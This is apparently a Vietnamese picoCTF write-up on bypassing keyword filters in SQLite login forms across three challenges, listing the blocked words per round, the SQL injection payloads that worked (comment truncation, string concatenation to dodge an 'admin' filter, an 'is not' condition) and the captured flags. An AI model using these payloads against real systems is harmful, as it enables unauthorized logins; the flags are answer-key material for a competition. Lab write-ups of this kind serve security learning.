**Lỗ hổng: SQL filter bypass**

**Mục tiêu**: đăng nhập với tư cách là admin.

Cơ sở dữ liệu là SQLite

**Bài 1:**

Nhập mk bất kỳ

Round 1: or

Payload: admin'--

Round 2: or and like = --

admin'/\*

Round 3: or and = like > < --

admin'/\*

Round 4: or and = like > < -- admin

Nó chặn admin rồi, mình dùng nối chuỗi.

Payload: a'||'d'||'m'||'i'||'n'/\*

Round 5: or and = like > < -- union admin

Tương tự: a'||'d'||'m'||'i'||'n'/\*

**Flag: picoCTF{y0u\_m4d3\_1t\_d846125f7bdbf4d6e89cbc5edb6fa739}**

**Bài 2:**

Filters: or and true false union like = > < ; -- /\* \*/ admin

Cách làm cũng tương tự nhưng lần này nó bypass luôn /\*. Khó nha ☺

Không nhập mk tùy ý nữa. Mình dùng toán tử điều kiện trong sqlite.

Username: a'||'d'||'m'||'i'||'n

Pass: a' is not 'b

**Flag: picoCTF{0n3\_m0r3\_t1m3\_86f3e77f3c5a076866a0fdb3b29c52fd}**

**Bài 3:**

Bộ lọc cũng giống vậy nhưng tk+mk bị giới hạn độ dài là 25. Vì vậy chỉnh lại payload trên là xong.

Username: ad'||'min

Pass: a' is not 'b

**Flag: picoCTF{k3ep\_1t\_sh0rt\_ef4a5b40aa736f5016b4554fecb568d0}?>**

Nhìn chung, 3 bài này tương đối dễ vì nó không lọc dấu nháy đơn.